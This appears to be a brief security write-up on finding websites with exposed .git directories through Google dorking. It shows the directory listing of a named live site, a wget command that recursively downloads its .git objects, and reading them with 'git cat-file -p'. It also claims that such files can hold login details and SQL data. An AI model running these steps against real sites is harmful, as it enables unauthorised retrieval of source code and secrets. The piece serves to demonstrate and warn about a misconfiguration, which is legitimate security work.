

By using Google Dork which filters results from Google, it allows other user to identify websites with publicly visible and accessible Git Repository. Like the screenshot of the website with a publicly visible Git Repository below.

← → ↻ 🏠 <a href="https://codemirror.net/.git/">https://codemirror.net/.git/</a>		
<h2>Index of /.git/</h2>		
../		
<a href="#">branches/</a>	19-Aug-2015 13:43	-
<a href="#">hooks/</a>	21-Oct-2016 06:17	-
<a href="#">info/</a>	03-Dec-2020 18:30	-
<a href="#">logs/</a>	21-Jan-2020 09:22	-
<a href="#">objects/</a>	03-Dec-2020 18:30	-
<a href="#">refs/</a>	19-Aug-2015 13:47	-
<a href="#">FETCH_HEAD</a>	04-Dec-2020 06:58	94
<a href="#">HEAD</a>	19-Aug-2015 13:43	23
<a href="#">ORIG_HEAD</a>	04-Dec-2020 06:58	41
<a href="#">config</a>	19-Aug-2015 13:44	241
<a href="#">description</a>	26-Aug-2015 14:37	23
<a href="#">index</a>	04-Dec-2020 06:58	55922
<a href="#">packed-refs</a>	21-Jan-2020 09:22	10403

Then I started downloading the files in the Git Repository using wget.

```
C:\Users\ahmo1>wget -r --no-check-certificate https://codemirror.net/.git/objects/
```

Then, I went to objects folder and randomly chose a folder and checked it.

There are many hash files and I could open them using “git cat-file -p” which provides type and size information.

Some files contain information such as login detail also SQL files that can be downloaded and so the database will be available.

It is also worth noticing that Trees, in git, are just data structures with references to other git objects. Thus, directories in git are represented as trees with references to blobs (files) and other trees.

In a real attack, this can be done via an automated script which makes it quiet faster and easier.

```
040000 tree 43dd98ca55b7ffabc65fa32de1837528ac7d82a5 sparql
040000 tree 7d405231b37d06d751da0012bba5c6f5e0656868 spreadsheet
040000 tree 0f3467044521e7f1d6ba31696b8ea602b94a4eb0 sql
040000 tree 2c574d748fbb4872a4770000c3a4a9ffdc968383 stex
040000 tree f30584d7715f8224d7642787df076df8ff542520 stylus
100644 blob 05cafbe50d5f3a55a6d2bc64366cbb4d42e7c4e7 index.html
100644 blob 4127cd9a0523b1a286a1ba04896b008b3484ed0e sql.js
```